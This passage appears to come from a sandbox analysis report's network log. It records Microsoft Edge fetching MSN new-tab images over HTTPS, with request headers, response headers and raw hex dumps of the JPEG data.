2024-11-23 01:55:51 UTC	7952	IN	Data Raw: 75 b0 2c 7a ad 27 7b 79 38 8d 54 12 71 28 9d 74 d7 66 81 f2 37 7a ab f7 a5 2b ea 6e 6c 07 08 8d 89 00 17 13 77 68 53 19 d9 a7 7f 27 cb 2e ba 0b e9 8c 9b e2 b2 f6 7e e3 d9 e8 26 75 dd 6f 51 d7 15 a5 29 b8 9b 26 84 7c 25 40 64 64 e9 cc 34 a1 62 e1 10 7c a3 90 d9 c6 84 1e 0c 9b cd d2 3c 84 72 a1 c4 66 b9 38 c6 ed f5 1f 84 a6 92 56 af 28 d3 41 cd f9 52 d4 d4 d4 6d da f1 0d db 82 6e 50 a1 e5 89 30 3c da e5 f0 98 a4 f2 87 89 bf 71 6b 4a 6d a6 42 7c b8 c1 94 a7 87 1a 3a e3 8f 32 ae c4 88 85 0f 2d 33 1c 5c 9b 7b e2 90 13 69 04 9a cf c2 8e 55 98 cb 6b c9 ee cf 3e 57 95 7b 6a c4 1a c6 ef a7 2a 52 94 54 b5 0f 88 c8 a4 e5 b6 20 cb 0d c0 3a e0 13 81 69 b4 4e 25 5c cf fa 06 6e 47 cb 5b 51 fe e2 b1 eb 23 44 8e e3 2e 52 af 59 44 56 20 08 03 21 11 14 e4 f9 ef 3b 8d b9 73 Data Ascii: u,z'{y8Tq(tf7z+nlwhS'.~&uoQ)&\|%@dd4b\|<rf8V(ARmnP0<qkJmB\|:2-3\{iUk>W{j*RT :iN%\nG[Q#D.RYDV !;s
2024-11-23 01:55:51 UTC	16384	IN	Data Raw: 92 3b 61 b8 7e 55 a5 09 5b 72 92 e3 5e a0 b3 b3 3f f2 4e b5 0a 1f b2 50 19 46 be 3f 67 5b 9f f2 5e b5 63 c8 9b 68 98 ca 4f 6b e1 b0 7f 93 71 57 ea 7c 97 4b 93 ed 41 d7 02 6d 9d d0 ff 00 93 75 73 17 2d 5a 50 11 48 50 ff 00 c9 cc 1f f2 5b be 8d 9b 51 c6 69 db 57 e7 d2 34 2f 60 3c df 45 d2 bf f6 92 f2 ba f8 86 67 a3 8f f9 45 e9 1f d9 b3 4d 7e 2f bb bd cf f9 35 d8 50 45 84 a6 47 95 60 e2 23 bc 43 f3 40 13 31 1b 19 05 0d 1e 7f 21 d2 ff 00 f3 5e fa f8 8e ce 91 5e be eb ee 05 0d e9 ae 84 52 2b 5d 1c 0b bd 77 53 7c 27 1d fb b2 91 4f 31 a4 eb 9b 4c 92 83 29 24 7d 68 c8 2f 08 aa 07 70 99 7d 4b 47 4e 3f 46 94 17 92 5e 81 58 25 1b 8b 3f dc 52 c9 8d 49 74 06 e2 27 cc a0 9f cb 58 76 07 15 05 38 64 ed 2b 8a f7 7b 9f 4f 0a 5e 54 01 ad de 5a 47 95 6a 4c d0 c1 30 76 87 0d Data Ascii: ;a~U[r^?NPF?g[^chOkqW\|KAmus-ZPHP[QiW4/`<EgEM~/5PEG`#C@1!^^R+]wS\|'O1L)$}h/p}KGN?F^X%?RIt'Xv8d+{O^TZGjL0v
2024-11-23 01:55:51 UTC	14144	IN	Data Raw: 0c a3 93 e8 4d 3d f9 13 42 d2 6f e0 09 9c 2b 04 0a 56 93 97 86 75 72 96 b0 6c d2 80 19 e3 a3 e6 66 20 72 6a 16 ee 11 47 cb a9 a4 b2 69 6d bf 31 d9 1b 7a 67 52 4f 1a fb 5e ef 04 cc c3 52 c2 85 7c 49 11 cc 7b db 3d 3a 2f 11 09 c0 38 7b f3 96 77 21 b5 35 c7 20 cc 8d 8d 2b a9 ac 7d 6c 62 50 06 a9 f1 64 5f 4c 51 49 1b 64 31 60 50 49 a5 69 f5 f7 74 b0 ef 4c 43 0b 11 38 73 73 ad dd 99 15 8d 78 38 01 5c c0 19 72 97 54 12 9a 35 28 da 79 00 b2 6e 28 10 a4 a8 83 ab e8 fa 4f 5b f5 06 ea 51 76 00 54 00 a3 48 e3 2f 8b 4d c2 0c 17 3d 24 69 13 ee fb 3e 0d 5d 18 4a 35 28 a7 96 4f 6a 2c f6 2c 57 15 15 42 c1 e4 42 bd be c7 11 7d 3d b5 d5 76 12 76 02 93 ff 00 42 fc c0 aa ea 2a 9b 85 20 54 42 8f b1 ac 74 fe b8 bd 6d 50 a3 8b 8a b3 1c df 82 fa 3d 48 ab d3 92 7e 57 16 5d 9d 4f Data Ascii: M=Bo+Vurlf rjGim1zgRO^R\|I{=:/8{w!5 +}lbPd_LQId1`PIitLC8ssx8\rT5(yn(O[QvTH/M=$i>]J5(Oj,,WBB}=vvB* TBtmP=H~W]O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49931	104.117.182.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:50 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:50 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=294630 Expires: Tue, 26 Nov 2024 11:46:20 GMT Date: Sat, 23 Nov 2024 01:55:50 GMT Connection: close
2024-11-23 01:55:50 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 01:55:50 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-23 01:55:50 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-23 01:55:50 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-23 01:55:50 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-23 01:55:50 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-23 01:55:51 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-23 01:55:51 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-23 01:55:51 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49932	104.117.182.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:50 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:50 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 15 Nov 2024 09:23:39 GMT X-Datacenter: eastus X-ActivityId: 45299615-50a0-4d41-9f2b-be1f411b5255 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW X-Source-Length: 76188 Content-Length: 76188 Cache-Control: public, max-age=156592 Expires: Sun, 24 Nov 2024 21:25:42 GMT Date: Sat, 23 Nov 2024 01:55:50 GMT Connection: close
2024-11-23 01:55:50 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 01:55:50 UTC	16384	IN	Data Raw: b3 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a b1 Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-11-23 01:55:50 UTC	3219	IN	Data Raw: 2b e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 75 Data Ascii: +7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggqu
2024-11-23 01:55:51 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-11-23 01:55:51 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-11-23 01:55:51 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: %}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port
